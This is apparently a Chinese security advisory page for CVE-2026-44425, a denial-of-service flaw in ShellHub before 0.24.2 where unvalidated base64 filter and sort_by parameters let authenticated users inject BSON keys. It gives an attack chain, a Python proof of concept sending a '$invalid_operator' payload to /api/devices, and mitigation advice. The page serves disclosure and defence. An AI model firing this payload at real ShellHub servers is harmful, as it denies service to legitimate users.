IPBUF安全漏洞报告
English
CVE-2026-44425 CVSS 5.4 中危

CVE-2026-44425 ShellHub拒绝服务漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-44425
漏洞类型
拒绝服务
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ShellHub

相关标签

拒绝服务ShellHub注入DoSBSON注入

漏洞概述

ShellHub是一个集中式SSH网关。在0.24.2版本之前,设备列表端点存在安全漏洞。攻击者可以通过base64编码的filter查询参数和sort_by参数注入用户控制的标识符。由于后端未对这些作为BSON/SQL键传递的参数进行验证,任何经过身份验证的用户均可构造恶意Payload导致数据库查询失败,从而引发服务拒绝。该漏洞没有速率限制,容易被利用。

技术细节

该漏洞的根源在于ShellHub后端对用户输入的验证不足。具体而言,受影响端点解析base64编码的filter参数中的name字段以及sort_by参数,并将其直接用作MongoDB(BSON)查询中的键名。攻击者可以构造包含非法字符或特殊结构的字符串,当这些字符串未经清理直接传递给数据库层进行聚合或查询操作时,会导致数据库引擎解析错误。虽然这可能导致信息泄露(C:L),但主要后果是应用程序捕获错误后返回HTTP 500状态码且无响应体,造成API服务不可用(A:L)。由于系统未对此接口实施速率限制,攻击者可以轻易通过自动化脚本持续发送恶意请求,导致持续的拒绝服务状态,影响正常用户的访问。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标系统正在使用ShellHub,并确认版本低于0.24.2。
STEP 2
2. 获取凭证
由于漏洞需要低权限认证(PR:L),攻击者注册或获取一个普通用户账号的Token。
STEP 3
3. 构造Payload
攻击者构造包含恶意 BSON/SQL 键(如以$开头或包含特殊字符)的 JSON 数据,并将其进行 Base64 编码。
STEP 4
4. 发送攻击请求
攻击者向设备列表端点发送带有恶意 filter 或 sort_by 参数的 GET 请求。
STEP 5
5. 触发漏洞
后端数据库尝试解析恶意键,导致查询失败,应用层捕获异常并返回 HTTP 500 无响应体,造成服务拒绝。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import base64 import json def exploit_shellhub_dos(target_url, token): """ PoC for CVE-2026-44425 Exploits the lack of validation in the 'filter' parameter. """ headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Malicious payload targeting the BSON key injection # Injecting a '$' into a key name often causes parsing issues if not validated malicious_payload = { "name": "$invalid_operator" } # Encode payload to base64 as required by the API encoded_payload = base64.b64encode(json.dumps(malicious_payload).encode()).decode() params = { "filter": encoded_payload } try: print(f"[+] Sending malicious request to {target_url}/api/devices...") response = requests.get(f"{target_url}/api/devices", headers=headers, params=params) if response.status_code == 500: print("[+] Exploit successful! Server returned HTTP 500 (Internal Server Error).") print("[+] The service is likely experiencing a Denial of Service.") else: print(f"[-] Exploit failed. Server returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target and token TARGET = "http://localhost:8080" TOKEN = "valid_user_token" exploit_shellhub_dos(TARGET, TOKEN)

影响范围

ShellHub < 0.24.2

防御指南

临时缓解措施
建议立即升级ShellHub至0.24.2或更高版本以修复此漏洞。如无法立即升级,应在应用网关层(如Nginx或API Gateway)实施严格的速率限制策略,并对filter和sort_by参数进行参数校验,阻止包含特殊字符(如`$`、`.`)的请求到达后端。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表